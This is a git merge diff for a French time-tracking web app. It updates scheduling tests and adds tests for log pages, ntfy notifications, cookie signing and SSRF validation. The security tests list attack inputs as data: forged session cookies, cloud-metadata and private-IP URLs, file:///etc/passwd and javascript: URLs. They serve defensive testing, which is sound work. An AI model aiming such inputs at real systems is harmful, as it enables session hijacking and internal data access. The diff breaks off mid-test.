Merge remote-tracking branch 'origin/main'
# Conflicts: # app/calcul.py
This commit is contained in:
@ -1,9 +1,23 @@
|
||||
"""Freezes calcul.py's notion of "today" for deterministic tests."""
|
||||
"""Fixtures partagées pour les tests.
|
||||
|
||||
Freeze "today" pour des calculs déterministes ET installe un DATA_DIR
|
||||
temporaire unique pour tout le process de test, afin que tous les modules
|
||||
de tests (test_logs, test_security, ...) partagent le même stockage.
|
||||
"""
|
||||
import datetime as dt_module
|
||||
import tempfile
|
||||
from pathlib import Path
|
||||
|
||||
import pytest
|
||||
|
||||
import calcul
|
||||
import models
|
||||
|
||||
# ── DATA_DIR unique pour tout le run ─────────────────────────────────────────
|
||||
_TMP = Path(tempfile.mkdtemp())
|
||||
models.DATA_DIR = _TMP
|
||||
models.CONFIG_FILE = models.DATA_DIR / "config.json"
|
||||
models.CONFIG_FILE.write_text('{"heures_semaine": 39.0, "jours_par_semaine": 5, "allowed_email_domain": "x.fr"}')
|
||||
|
||||
|
||||
class FrozenDatetime(dt_module.datetime):
|
||||
|
||||
@ -113,6 +113,8 @@ def test_compute_week_cible_repartie_sur_seule_demi_journee_restante(freeze_toda
|
||||
|
||||
assert vendredi["cible_matin"] is None # matin déjà pointé (entrée+sortie), plus rien à y faire
|
||||
assert vendredi["cible_aprem"] == "18:18"
|
||||
# La préconisation aprem inclut aussi l'heure d'arrivée (reprise par défaut 13:30)
|
||||
assert vendredi["cible_aprem_entree"] == "13:30"
|
||||
|
||||
|
||||
def test_compute_week_semaine_totalement_vide_compte_les_10_demi_journees(freeze_today):
|
||||
@ -126,10 +128,11 @@ def test_compute_week_semaine_totalement_vide_compte_les_10_demi_journees(freeze
|
||||
result = compute_week(pointages, [], HEURES_JOUR_MIN)
|
||||
assert result["slots_restants"] == 10
|
||||
assert result["reste_min"] == HEURES_JOUR_MIN * 5
|
||||
# Rien n'est encore en retard puisque rien n'a encore été renseigné : le rythme
|
||||
# normal (à répartir librement sur les 10 demi-journées) suffit, pas de cible imposée.
|
||||
# Pas de retard (rien n'a encore été renseigné) : le rythme normal suffit, extra = 0.
|
||||
# Mais chaque demi-journée reste propose son horaire visé (matin 09:00→12:00,
|
||||
# aprem 13:30→18:18 avec le surplus nominal basculé depuis le matin saturé).
|
||||
assert result["extra_min"] == 0
|
||||
assert all(j["cible_matin"] is None and j["cible_aprem"] is None for j in result["jours"])
|
||||
assert all(j["cible_matin"] == "12:00" and j["cible_aprem"] == "18:18" for j in result["jours"])
|
||||
|
||||
|
||||
def test_compute_week_jour_futur_non_entame_recoit_une_cible_repartie(freeze_today):
|
||||
@ -148,30 +151,34 @@ def test_compute_week_jour_futur_non_entame_recoit_une_cible_repartie(freeze_tod
|
||||
assert lundi_suivant["cible_matin"] is not None or lundi_suivant["cible_aprem"] is not None
|
||||
|
||||
|
||||
def test_compute_week_jour_futur_a_egalite_pas_de_cible(freeze_today):
|
||||
"""Quand le rythme normal des demi-journées restantes suffit déjà, aucune cible n'est affichée."""
|
||||
def test_compute_week_jour_futur_a_egalite_propose_le_rythme_normal(freeze_today):
|
||||
"""Quand le rythme normal des demi-journées restantes suffit (pas de rattrapage),
|
||||
les horaires visés du matin et de l'après-midi sont quand même proposés."""
|
||||
dates_completes = ["2026-07-13", "2026-07-14", "2026-07-15", "2026-07-16", "2026-07-17"]
|
||||
pointages = _semaine_complete(dates_completes)
|
||||
pointages.append(_pointage("2026-07-20")) # lundi suivant, rien pointé — mais la semaine est déjà à l'équilibre
|
||||
|
||||
result = compute_week(pointages, [], HEURES_JOUR_MIN)
|
||||
lundi_suivant = result["jours"][5]
|
||||
assert lundi_suivant["cible_matin"] is None
|
||||
assert lundi_suivant["cible_aprem"] is None
|
||||
assert result["extra_min"] == 0
|
||||
assert lundi_suivant["cible_matin"] == "12:00"
|
||||
assert lundi_suivant["cible_aprem"] == "18:18"
|
||||
|
||||
|
||||
def test_compute_week_jour_courant_non_entame_rythme_normal_suffit(freeze_today):
|
||||
def test_compute_week_jour_courant_non_entame_propose_le_rythme_normal(freeze_today):
|
||||
""""Aujourd'hui" sans rien pointé n'est pas traité comme un jour futur figé : ses deux
|
||||
demi-journées entrent dans la répartition. Ici le manque (468 min) correspond exactement
|
||||
au nominal des deux demi-journées restantes : le rythme normal suffit, pas de cible."""
|
||||
au nominal des deux demi-journées restantes : le rythme normal suffit, mais les horaires
|
||||
visés matin et aprem restent proposés."""
|
||||
dates_completes = ["2026-07-13", "2026-07-14", "2026-07-15", "2026-07-16"]
|
||||
pointages = _semaine_complete(dates_completes)
|
||||
pointages.append(_pointage("2026-07-17"))
|
||||
|
||||
result = compute_week(pointages, [], HEURES_JOUR_MIN)
|
||||
vendredi = result["jours"][4]
|
||||
assert vendredi["cible_matin"] is None
|
||||
assert vendredi["cible_aprem"] is None
|
||||
assert result["extra_min"] == 0
|
||||
assert vendredi["cible_matin"] == "12:00"
|
||||
assert vendredi["cible_aprem"] == "18:18"
|
||||
|
||||
|
||||
def test_compute_week_demi_journee_en_cours_pas_de_double_comptage(freeze_today):
|
||||
@ -194,8 +201,9 @@ def test_compute_week_demi_journee_en_cours_pas_de_double_comptage(freeze_today)
|
||||
result = compute_week(pointages, [], HEURES_JOUR_MIN)
|
||||
vendredi = result["jours"][4]
|
||||
assert result["extra_min"] == 60
|
||||
# matin saturé au nominal (09:00→12:00), pas de cible ; aprem : 13:30 + 288 + 60 = 19:18
|
||||
assert vendredi["cible_matin"] is None
|
||||
# matin en cours : sa cible correspond au planning nominal (09:00→12:00), pas de rattrapage
|
||||
# possible (saturé au plafond pause) ; aprem : 13:30 + 288 + 60 = 19:18
|
||||
assert vendredi["cible_matin"] == "12:00"
|
||||
assert vendredi["cible_aprem"] == "19:18"
|
||||
|
||||
|
||||
@ -221,7 +229,9 @@ def test_compute_week_cible_matin_ne_mange_jamais_la_pause_de_midi(freeze_today)
|
||||
# 120 min de retard + 54 min de nominal matin qui ne tiennent pas avant la pause
|
||||
# (et ne peuvent pas basculer sur l'après-midi, en congé)
|
||||
assert result["extra_min"] == 174
|
||||
assert vendredi["cible_matin"] is None
|
||||
# Le matin (seul créneau dispo, aprem en congé) est saturé à son plafond 09:00→12:00 :
|
||||
# cible proposée au rythme normal, mais le rattrapage (174 min) ne tient pas.
|
||||
assert vendredi["cible_matin"] == "12:00"
|
||||
assert vendredi["cible_aprem"] is None # congé
|
||||
|
||||
|
||||
@ -243,8 +253,8 @@ def test_compute_week_surplus_creneau_sature_reporte_sur_les_autres(freeze_today
|
||||
result = compute_week(pointages, [], HEURES_JOUR_MIN)
|
||||
vendredi = result["jours"][4]
|
||||
assert result["extra_min"] == 80
|
||||
# matin saturé au nominal, pas de cible ; aprem : 13:30 + 288 + 80 = 19:38
|
||||
assert vendredi["cible_matin"] is None
|
||||
# matin saturé au nominal (cible au rythme normal 09:00→12:00) ; aprem : 13:30 + 288 + 80 = 19:38
|
||||
assert vendredi["cible_matin"] == "12:00"
|
||||
assert vendredi["cible_aprem"] == "19:38"
|
||||
|
||||
|
||||
@ -273,7 +283,7 @@ def test_compute_week_avance_reduit_les_departs_du_soir_restants(freeze_today):
|
||||
result = compute_week(pointages, [], heures_jour, plages)
|
||||
assert result["extra_min"] == 0 # extra_min ne compte que le retard, pas l'avance
|
||||
for jour in result["jours"][1:]:
|
||||
assert jour["cible_matin"] is None
|
||||
assert jour["cible_matin"] == "13:00" # rythme normal, jamais ajusté par l'avance
|
||||
assert jour["cible_aprem"] == "17:55"
|
||||
|
||||
|
||||
@ -301,6 +311,7 @@ def test_compute_week_avance_ne_descend_jamais_sous_aprem_fin(freeze_today):
|
||||
def test_compute_week_cible_matin_jamais_ajustee_meme_avec_de_la_marge(freeze_today):
|
||||
"""Le rattrapage hebdomadaire ne porte jamais sur le matin, même quand la
|
||||
matinée obligatoire est plus longue que le nominal et aurait de la marge.
|
||||
Le matin garde son horaire nominal (rythme normal), non ajusté.
|
||||
|
||||
Matin 08:00→13:00 (capacité 300 > nominal 270). Vendredi en congé après-midi,
|
||||
120 min de retard : le seul créneau ouvert (le matin) n'est pas ajustable, le
|
||||
@ -323,14 +334,14 @@ def test_compute_week_cible_matin_jamais_ajustee_meme_avec_de_la_marge(freeze_to
|
||||
result = compute_week(pointages, conges, heures_jour, plages)
|
||||
vendredi = result["jours"][4]
|
||||
assert result["extra_min"] == 120
|
||||
assert vendredi["cible_matin"] is None
|
||||
assert vendredi["cible_matin"] == "12:30" # rythme normal (08:00 + 270 nominal), pas de rattrapage
|
||||
assert vendredi["cible_aprem"] is None # congé
|
||||
|
||||
|
||||
def test_compute_week_arrivee_visee_n_etend_pas_le_rattrapage_au_matin(freeze_today):
|
||||
"""L'arrivée visée sert de début projeté du matin (pour le calcul du surplus
|
||||
basculant vers l'après-midi), mais n'ouvre jamais le matin au rattrapage
|
||||
hebdomadaire — celui-ci reste réservé aux départs du soir.
|
||||
"""L'arrivée visée sert de début projeté du matin (pour le rythme normal affiché
|
||||
et le calcul du surplus basculant vers l'après-midi), mais n'ouvre jamais le
|
||||
matin au rattrapage hebdomadaire — celui-ci reste réservé aux départs du soir.
|
||||
"""
|
||||
plages = {"arrivee_visee": "08:00"}
|
||||
conges = [{"date": "2026-07-17", "type": "aprem"}]
|
||||
@ -344,7 +355,7 @@ def test_compute_week_arrivee_visee_n_etend_pas_le_rattrapage_au_matin(freeze_to
|
||||
result = compute_week(pointages, conges, HEURES_JOUR_MIN, plages)
|
||||
vendredi = result["jours"][4]
|
||||
assert result["extra_min"] == 120
|
||||
assert vendredi["cible_matin"] is None
|
||||
assert vendredi["cible_matin"] == "11:54" # rythme normal (08:00 + 234 nominal), pas de rattrapage
|
||||
|
||||
|
||||
def test_compute_week_depart_vise_plafond_souple(freeze_today):
|
||||
@ -372,7 +383,7 @@ def test_compute_week_depart_vise_plafond_souple(freeze_today):
|
||||
# vendredi aprem : 13:30 + 234 + (36 + 9) = 18:09 ; lundi aprem : 13:30 + 288 + 9 = 18:27
|
||||
# (sans départ visé, lundi finirait à 18:45)
|
||||
assert vendredi["cible_aprem"] == "18:09"
|
||||
assert lundi["cible_matin"] is None
|
||||
assert lundi["cible_matin"] == "12:00" # matin au rythme normal (pas de rattrapage pour ce créneau)
|
||||
assert lundi["cible_aprem"] == "18:27"
|
||||
|
||||
|
||||
|
||||
342
app/tests/test_logs.py
Normal file
342
app/tests/test_logs.py
Normal file
@ -0,0 +1,342 @@
|
||||
"""Smoke tests pour les nouvelles routes /logs et /aide + journalisation présence."""
|
||||
import sys
|
||||
|
||||
# DATA_DIR temporaire est positionné par conftest.py avant l'import de models.
|
||||
import models # noqa: F401 (réexport pratique pour les tests ci-dessous)
|
||||
|
||||
sys.path.insert(0, ".")
|
||||
import main
|
||||
from fastapi.testclient import TestClient
|
||||
|
||||
client = TestClient(main.app)
|
||||
|
||||
|
||||
def _login_as(uid: str):
|
||||
"""Crée un user avec mdp puis se connecte (renvoie les cookies signés)."""
|
||||
import bcrypt
|
||||
models.save_auth(uid, email=f"{uid}@x.fr",
|
||||
password_hash=bcrypt.hashpw(b"x" * 12, bcrypt.gensalt()).decode())
|
||||
r = client.post("/login/password", data={"email": f"{uid}@x.fr", "password": "x" * 12},
|
||||
follow_redirects=False)
|
||||
assert r.status_code == 302, r.text
|
||||
# Récupère le cookie user_id réellement signé par le serveur
|
||||
return {"user_id": r.cookies.get("user_id")}
|
||||
|
||||
|
||||
COOKIES = _login_as("alice")
|
||||
|
||||
|
||||
# ── Route /logs ──────────────────────────────────────────────────────────────
|
||||
|
||||
def test_logs_page_requires_auth():
|
||||
# Client frais, sans cookie, doit être redirigé vers /login
|
||||
unauth = TestClient(main.app)
|
||||
r = unauth.get("/logs", follow_redirects=False)
|
||||
assert r.status_code == 302
|
||||
assert "/login" in r.headers["location"]
|
||||
|
||||
|
||||
def test_logs_page_empty_for_new_user():
|
||||
r = client.get("/logs", cookies=COOKIES)
|
||||
assert r.status_code == 200
|
||||
assert "Journaux" in r.text
|
||||
assert "Aucun événement" in r.text # état initial
|
||||
|
||||
|
||||
def test_logs_page_shows_entries_after_presence():
|
||||
token = models.load_notif_config("alice")["token"]
|
||||
# Simule une arrivée Automation
|
||||
client.post(f"/presence/{token}/arrivee")
|
||||
# Simule un départ
|
||||
client.post(f"/presence/{token}/depart")
|
||||
|
||||
r = client.get("/logs", cookies=COOKIES)
|
||||
assert r.status_code == 200
|
||||
assert "arrivée" in r.text
|
||||
assert "départ" in r.text
|
||||
assert "Présence" in r.text
|
||||
assert "Aucun événement" not in r.text
|
||||
|
||||
|
||||
def test_logs_filter_query_param():
|
||||
# Toutes les entrées sont de type "presence" à ce stade
|
||||
r_all = client.get("/logs", cookies=COOKIES)
|
||||
r_notif = client.get("/logs?filter=notif", cookies=COOKIES)
|
||||
r_pres = client.get("/logs?filter=presence", cookies=COOKIES)
|
||||
|
||||
# Le filtre "notif" ne doit PAS montrer les entrées presence
|
||||
assert "arrivée" not in r_notif.text
|
||||
# Le filtre "presence" DOIT les montrer
|
||||
assert "arrivée" in r_pres.text
|
||||
assert "départ" in r_pres.text
|
||||
# Le total Tout inclut tout
|
||||
assert "arrivée" in r_all.text
|
||||
|
||||
|
||||
# ── Route /aide ──────────────────────────────────────────────────────────────
|
||||
|
||||
def test_aide_page_requires_auth():
|
||||
unauth = TestClient(main.app)
|
||||
r = unauth.get("/aide", follow_redirects=False)
|
||||
assert r.status_code == 302
|
||||
assert "/login" in r.headers["location"]
|
||||
|
||||
|
||||
def test_aide_page_content():
|
||||
r = client.get("/aide", cookies=COOKIES)
|
||||
assert r.status_code == 200
|
||||
# Vérifie la présence des sections clés
|
||||
for needle in ["ntfy", "Automation", "Aide", "topic", "géofence", "/logs"]:
|
||||
assert needle in r.text, f"missing {needle!r}"
|
||||
|
||||
|
||||
# ── Logging via notifications.send_ntfy (échec) ─────────────────────────────
|
||||
|
||||
def test_send_ntfy_failure_logs_entry():
|
||||
# Serveur injoignable (host public sans résolution) → échec → entrée de log "échec"
|
||||
import notifications
|
||||
notifications.send_ntfy(
|
||||
"https://ntfy-injoignable.invalid", "topic-injoignable",
|
||||
"msg test", "titre test", user_id="alice",
|
||||
)
|
||||
logs = models.load_logs("alice")
|
||||
assert any(l["event"] == "échec" and l["type"] == "notif" for l in logs)
|
||||
|
||||
|
||||
# ── Navigation ──────────────────────────────────────────────────────────────
|
||||
|
||||
def test_nav_links_present():
|
||||
r = client.get("/aide", cookies=COOKIES)
|
||||
assert 'href="/logs"' in r.text
|
||||
assert 'href="/aide"' in r.text
|
||||
assert 'href="/settings"' in r.text
|
||||
|
||||
|
||||
# ── Isolation par user ──────────────────────────────────────────────────────
|
||||
|
||||
def test_logs_isolated_per_user():
|
||||
# Bob ne doit pas voir les logs d'alice
|
||||
bob_cookies = _login_as("bob")
|
||||
r = client.get("/logs", cookies=bob_cookies)
|
||||
assert "arrivée" not in r.text
|
||||
assert "Aucun événement" in r.text
|
||||
|
||||
|
||||
# ── Rotation des logs ───────────────────────────────────────────────────────
|
||||
|
||||
def test_log_rotation_caps_at_max():
|
||||
# Alice a déjà quelques entrées ; on en ajoute largement > MAX_LOGS
|
||||
for i in range(models.MAX_LOGS + 50):
|
||||
models.append_log("alice", "notif", "envoyée", f"msg {i}")
|
||||
logs = models.load_logs("alice")
|
||||
assert len(logs) == models.MAX_LOGS
|
||||
# Le plus récent est bien le dernier inséré
|
||||
assert logs[0]["message"] == f"msg {models.MAX_LOGS + 49}"
|
||||
|
||||
|
||||
def test_invalid_log_type_rejected():
|
||||
try:
|
||||
models.append_log("alice", "invalid_type", "x", "y")
|
||||
assert False, "doit lever une AssertionError"
|
||||
except AssertionError:
|
||||
pass
|
||||
|
||||
|
||||
# ── Bouton de test ntfy (/settings/test-ntfy) ────────────────────────────────
|
||||
|
||||
def test_test_ntfy_requires_auth():
|
||||
unauth = TestClient(main.app)
|
||||
r = unauth.post("/settings/test-ntfy", follow_redirects=False)
|
||||
assert r.status_code == 302
|
||||
assert "/login" in r.headers["location"]
|
||||
|
||||
|
||||
def test_test_ntfy_without_topic_returns_error():
|
||||
# Alice n'a pas de topic configuré → message d'erreur
|
||||
models.save_notif_config("alice", ntfy_topic="", ntfy_server="https://ntfy.sh")
|
||||
r = client.post("/settings/test-ntfy", cookies=COOKIES)
|
||||
assert r.status_code == 200
|
||||
assert "settings-error" in r.text
|
||||
assert "topic" in r.text.lower()
|
||||
|
||||
|
||||
def test_test_ntfy_with_bad_server_returns_failure():
|
||||
# Topic renseigné mais serveur injoignable → échec
|
||||
models.save_notif_config("alice", ntfy_topic="topic-test", ntfy_server="https://ntfy-injoignable.invalid")
|
||||
r = client.post("/settings/test-ntfy", cookies=COOKIES)
|
||||
assert r.status_code == 200
|
||||
assert "settings-error" in r.text
|
||||
assert "Échec" in r.text
|
||||
# L'entrée de log d'échec doit être présente
|
||||
logs = models.load_logs("alice")
|
||||
assert any(l["event"] == "échec" and l["type"] == "notif" for l in logs)
|
||||
|
||||
|
||||
def test_test_ntfy_logs_to_journal():
|
||||
"""Le bouton de test doit écrire dans le journal (même en échec)."""
|
||||
models.save_notif_config("alice", ntfy_topic="topic-test-2", ntfy_server="https://ntfy-injoignable.invalid")
|
||||
client.post("/settings/test-ntfy", cookies=COOKIES)
|
||||
logs = models.load_logs("alice")
|
||||
# L'entrée la plus récente doit être l'échec du test (message contient "Test pointeuse")
|
||||
assert any(l["event"] == "échec" and "Test pointeuse" in l["message"] for l in logs)
|
||||
|
||||
|
||||
# ── Jeton d'accès ntfy (serveur protégé) ─────────────────────────────────────
|
||||
|
||||
def test_send_ntfy_passes_authorization_header(monkeypatch):
|
||||
"""Quand un token est fourni, send_ntfy doit envoyer un header Authorization: Bearer."""
|
||||
import notifications
|
||||
captured = {}
|
||||
|
||||
class _DummyReq:
|
||||
def __init__(self, url, data, headers, method):
|
||||
captured["url"] = url
|
||||
captured["headers"] = headers
|
||||
captured["method"] = method
|
||||
|
||||
class _DummyResp:
|
||||
def close(self): pass
|
||||
|
||||
def _fake_urlopen(req, timeout):
|
||||
captured["timeout"] = timeout
|
||||
return _DummyResp()
|
||||
|
||||
monkeypatch.setattr(notifications.urllib.request, "Request", _DummyReq)
|
||||
monkeypatch.setattr(notifications.urllib.request, "urlopen", _fake_urlopen)
|
||||
|
||||
ok = notifications.send_ntfy(
|
||||
"https://ntfy.example", "topic-x",
|
||||
"msg", "titre", user_id="alice", token="tk_abc123",
|
||||
)
|
||||
assert ok is True
|
||||
assert captured["headers"]["Authorization"] == "Bearer tk_abc123"
|
||||
|
||||
|
||||
def test_send_ntfy_omits_authorization_when_no_token(monkeypatch):
|
||||
"""Sans token, pas de header Authorization."""
|
||||
import notifications
|
||||
captured = {}
|
||||
|
||||
class _DummyReq:
|
||||
def __init__(self, url, data, headers, method):
|
||||
captured["headers"] = headers
|
||||
|
||||
class _DummyResp:
|
||||
def close(self): pass
|
||||
|
||||
monkeypatch.setattr(notifications.urllib.request, "Request", _DummyReq)
|
||||
monkeypatch.setattr(notifications.urllib.request, "urlopen", lambda req, timeout: _DummyResp())
|
||||
|
||||
notifications.send_ntfy("https://x", "t", "m", "ti", user_id=None, token="")
|
||||
assert "Authorization" not in captured["headers"]
|
||||
|
||||
|
||||
def test_settings_save_persists_ntfy_token():
|
||||
"""Le token saisi dans /settings doit être persisté."""
|
||||
models.save_notif_config("alice", ntfy_topic="t", ntfy_server="https://ntfy.sh")
|
||||
client.post("/settings", cookies=COOKIES, data={
|
||||
"ntfy_topic": "topic-persisted",
|
||||
"ntfy_server": "https://ntfy.arkel.fr",
|
||||
"ntfy_token": "tk_persisted_123",
|
||||
"rappel_debut_h": "8",
|
||||
"rappel_fin_h": "19",
|
||||
})
|
||||
cfg = models.load_notif_config("alice")
|
||||
assert cfg["ntfy_token"] == "tk_persisted_123"
|
||||
assert cfg["ntfy_topic"] == "topic-persisted"
|
||||
|
||||
|
||||
# ── Régénération du token de présence (Tasker) ───────────────────────────────
|
||||
|
||||
def test_regenerate_presence_token_requires_auth():
|
||||
unauth = TestClient(main.app)
|
||||
r = unauth.post("/settings/regenerate-presence-token", follow_redirects=False)
|
||||
assert r.status_code == 302
|
||||
assert "/login" in r.headers["location"]
|
||||
|
||||
|
||||
def test_regenerate_presence_token_invalidates_old_urls():
|
||||
"""Le nouveau token remplace l'ancien : les anciennes URLs ne marchent plus."""
|
||||
old_token = models.load_notif_config("alice")["token"]
|
||||
|
||||
r = client.post("/settings/regenerate-presence-token", cookies=COOKIES)
|
||||
assert r.status_code == 200
|
||||
# Le HTML retourné contient de nouvelles URLs avec un nouveau token
|
||||
assert old_token not in r.text
|
||||
assert "/presence/" in r.text
|
||||
assert "Token régénéré" in r.text
|
||||
|
||||
# L'ancienne URL doit maintenant renvoyer 404 (token inconnu)
|
||||
r_old = client.post(f"/presence/{old_token}/arrivee")
|
||||
assert r_old.status_code == 404
|
||||
|
||||
# La nouvelle URL doit fonctionner
|
||||
new_cfg = models.load_notif_config("alice")
|
||||
r_new = client.post(f"/presence/{new_cfg['token']}/arrivee")
|
||||
assert r_new.status_code == 200
|
||||
assert r_new.json() == {"ok": True}
|
||||
|
||||
|
||||
def test_regenerate_preserves_other_notif_fields():
|
||||
"""La régénération ne doit pas effacer topic/server/token ntfy."""
|
||||
models.save_notif_config(
|
||||
"alice", ntfy_topic="topic-x", ntfy_server="https://ntfy.arkel.fr",
|
||||
ntfy_token="tk_xyz",
|
||||
)
|
||||
before = models.load_notif_config("alice")
|
||||
new_token = models.regenerate_presence_token("alice")
|
||||
after = models.load_notif_config("alice")
|
||||
|
||||
assert after["token"] == new_token
|
||||
assert before["token"] != new_token
|
||||
# Les autres champs sont préservés
|
||||
assert after["ntfy_topic"] == "topic-x"
|
||||
assert after["ntfy_server"] == "https://ntfy.arkel.fr"
|
||||
assert after["ntfy_token"] == "tk_xyz"
|
||||
|
||||
|
||||
# ── Changements de paramètres tracés dans le journal ─────────────────────────
|
||||
|
||||
def test_settings_save_logged():
|
||||
"""Sauvegarder les réglages ntfy doit écrire une entrée de journal."""
|
||||
models.save_notif_config("alice", ntfy_topic="t", ntfy_server="https://ntfy.sh")
|
||||
before = len([l for l in models.load_logs("alice") if l["type"] == "settings"])
|
||||
client.post("/settings", cookies=COOKIES, data={
|
||||
"ntfy_topic": "topic-new",
|
||||
"ntfy_server": "https://ntfy.arkel.fr",
|
||||
"ntfy_token": "tk_abc",
|
||||
"rappel_debut_h": "8",
|
||||
"rappel_fin_h": "19",
|
||||
})
|
||||
after = [l for l in models.load_logs("alice") if l["type"] == "settings"]
|
||||
assert len(after) == before + 1
|
||||
latest = after[0]
|
||||
assert latest["event"] == "Réglages ntfy"
|
||||
assert "topic-new" in latest["message"]
|
||||
assert "ntfy.arkel.fr" in latest["message"]
|
||||
|
||||
|
||||
def test_settings_plages_save_logged():
|
||||
"""Sauvegarder les plages horaires doit écrire une entrée de journal."""
|
||||
before = len([l for l in models.load_logs("alice") if l["type"] == "settings"])
|
||||
client.post("/settings/plages", cookies=COOKIES, data={
|
||||
"matin_debut": "09:00", "matin_fin": "12:00",
|
||||
"aprem_debut": "14:00", "aprem_fin": "17:00",
|
||||
"pause_dejeuner_fin": "13:30",
|
||||
"arrivee_visee": "", "depart_vise": "",
|
||||
})
|
||||
after = [l for l in models.load_logs("alice") if l["type"] == "settings"]
|
||||
assert len(after) == before + 1
|
||||
latest = after[0]
|
||||
assert latest["event"] == "Plages horaires"
|
||||
assert "09:00" in latest["message"]
|
||||
|
||||
|
||||
def test_regenerate_presence_token_logged():
|
||||
"""Régénérer le token de présence doit écrire une entrée de journal."""
|
||||
before = len([l for l in models.load_logs("alice") if l["type"] == "settings"])
|
||||
client.post("/settings/regenerate-presence-token", cookies=COOKIES)
|
||||
after = [l for l in models.load_logs("alice") if l["type"] == "settings"]
|
||||
assert len(after) == before + 1
|
||||
latest = after[0]
|
||||
assert "régénéré" in latest["event"].lower()
|
||||
599
app/tests/test_security.py
Normal file
599
app/tests/test_security.py
Normal file
@ -0,0 +1,599 @@
|
||||
"""Tests de sécurité : anti-forgery du cookie de session.
|
||||
|
||||
Avant le correctif, n'importe qui pouvait forger le cookie `user_id=admin` et
|
||||
accéder aux données d'un autre utilisateur. La signature HMAC doit rendre toute
|
||||
altération détectable.
|
||||
"""
|
||||
import sys
|
||||
|
||||
# DATA_DIR temporaire est positionné par conftest.py avant l'import de models.
|
||||
import models # noqa: F401
|
||||
|
||||
sys.path.insert(0, ".")
|
||||
import main
|
||||
from fastapi.testclient import TestClient
|
||||
|
||||
client = TestClient(main.app)
|
||||
|
||||
|
||||
def _seed_user(uid: str):
|
||||
import bcrypt
|
||||
models.save_auth(uid, email=f"{uid}@x.fr",
|
||||
password_hash=bcrypt.hashpw(b"x" * 12, bcrypt.gensalt()).decode())
|
||||
|
||||
|
||||
def _login(uid: str) -> dict:
|
||||
_seed_user(uid)
|
||||
r = client.post("/login/password",
|
||||
data={"email": f"{uid}@x.fr", "password": "x" * 12},
|
||||
follow_redirects=False)
|
||||
assert r.status_code == 302, r.text
|
||||
return {"user_id": r.cookies.get("user_id")}
|
||||
|
||||
|
||||
# ── Forgery du cookie ─────────────────────────────────────────────────────────
|
||||
|
||||
def test_unsigned_cookie_rejected():
|
||||
"""Un cookie `user_id=admin` forgé à la main doit être rejeté."""
|
||||
_seed_user("alice")
|
||||
r = client.get("/semaine/2026/29", cookies={"user_id": "alice"}, follow_redirects=False)
|
||||
assert r.status_code == 302
|
||||
assert "/login" in r.headers["location"]
|
||||
|
||||
|
||||
def test_tampered_signature_rejected():
|
||||
"""Un cookie valide dont on modifie la signature doit être rejeté."""
|
||||
cookies = _login("alice")
|
||||
raw = cookies["user_id"]
|
||||
user_id, _, sig = raw.rpartition(".")
|
||||
# Inverse un caractère de la signature
|
||||
bad_sig = ("0" if sig[0] != "0" else "1") + sig[1:]
|
||||
tampered = f"{user_id}.{bad_sig}"
|
||||
r = client.get("/semaine/2026/29", cookies={"user_id": tampered}, follow_redirects=False)
|
||||
assert r.status_code == 302
|
||||
assert "/login" in r.headers["location"]
|
||||
|
||||
|
||||
def test_valid_signed_cookie_accepted():
|
||||
"""Le cookie signé délivré par /login/password doit ouvrir la session."""
|
||||
cookies = _login("alice")
|
||||
r = client.get("/semaine/2026/29", cookies=cookies, follow_redirects=False)
|
||||
assert r.status_code == 200
|
||||
|
||||
|
||||
def test_signed_cookie_cannot_be_replayed_for_other_user():
|
||||
"""La signature d'alice ne doit pas valider pour bob (user_id modifié)."""
|
||||
cookies = _login("alice")
|
||||
raw = cookies["user_id"]
|
||||
_, _, sig = raw.rpartition(".")
|
||||
# Remplace alice par bob en conservant la signature d'alice
|
||||
forged = f"bob.{sig}"
|
||||
_seed_user("bob")
|
||||
r = client.get("/semaine/2026/29", cookies={"user_id": forged}, follow_redirects=False)
|
||||
assert r.status_code == 302
|
||||
assert "/login" in r.headers["location"]
|
||||
|
||||
|
||||
# ── Helpers de signature ──────────────────────────────────────────────────────
|
||||
|
||||
def test_sign_and_verify_roundtrip():
|
||||
sig = main._sign_user_id("alice")
|
||||
assert main._verify_signed_cookie(sig) == "alice"
|
||||
|
||||
|
||||
def test_verify_rejects_malformed_inputs():
|
||||
for bad in ("", "alice", "alice.", ".", "alice.deadbeef", "inva/lid.xxx"):
|
||||
assert main._verify_signed_cookie(bad) is None
|
||||
|
||||
|
||||
def test_secret_is_stable_across_calls():
|
||||
s1 = models.load_or_create_secret()
|
||||
s2 = models.load_or_create_secret()
|
||||
assert s1 == s2
|
||||
|
||||
|
||||
# ── Validation SSRF du serveur ntfy ──────────────────────────────────────────
|
||||
|
||||
import notifications # noqa: E402
|
||||
|
||||
|
||||
def test_ntfy_server_validation_accepts_https():
|
||||
assert notifications.is_safe_ntfy_server("https://ntfy.sh")
|
||||
assert notifications.is_safe_ntfy_server("https://ntfy.example.com:8080")
|
||||
|
||||
|
||||
def test_ntfy_server_validation_rejects_loopback():
|
||||
for bad in ("http://127.0.0.1:1", "http://127.0.0.1", "http://localhost",
|
||||
"https://localhost:8443", "https://[::1]"):
|
||||
assert not notifications.is_safe_ntfy_server(bad), bad
|
||||
|
||||
|
||||
def test_ntfy_server_validation_rejects_private_networks():
|
||||
for bad in ("https://10.0.0.1", "https://172.16.5.5", "https://192.168.1.1",
|
||||
"https://169.254.169.254", "http://10.255.255.1:8080"):
|
||||
assert not notifications.is_safe_ntfy_server(bad), bad
|
||||
|
||||
|
||||
def test_ntfy_server_validation_rejects_bad_schemes():
|
||||
for bad in ("ftp://ntfy.sh", "file:///etc/passwd", "gopher://x", "javascript:alert(1)"):
|
||||
assert not notifications.is_safe_ntfy_server(bad), bad
|
||||
|
||||
|
||||
def test_ntfy_server_validation_rejects_credentials_in_url():
|
||||
assert not notifications.is_safe_ntfy_server("https://user:pass@ntfy.sh")
|
||||
|
||||
|
||||
def test_ntfy_server_validation_rejects_empty_or_none():
|
||||
for bad in ("", None, " "):
|
||||
assert not notifications.is_safe_ntfy_server(bad), bad
|
||||
|
||||
|
||||
def test_send_ntfy_refuses_ssrf_target():
|
||||
"""Un appel vers une IP privée ne doit jamais ouvrir de connexion réseau."""
|
||||
import urllib.request as u
|
||||
called = {"n": 0}
|
||||
orig = u.urlopen
|
||||
try:
|
||||
u.urlopen = lambda *a, **kw: called.__setitem__("n", called["n"] + 1)
|
||||
ok = notifications.send_ntfy(
|
||||
"http://169.254.169.254", "ssrf-topic",
|
||||
"msg", "titre", user_id=None, token="",
|
||||
)
|
||||
finally:
|
||||
u.urlopen = orig
|
||||
assert ok is False
|
||||
assert called["n"] == 0 # urlopen n'a jamais été appelé
|
||||
|
||||
|
||||
def test_settings_save_rejects_ssrf_ntfy_server():
|
||||
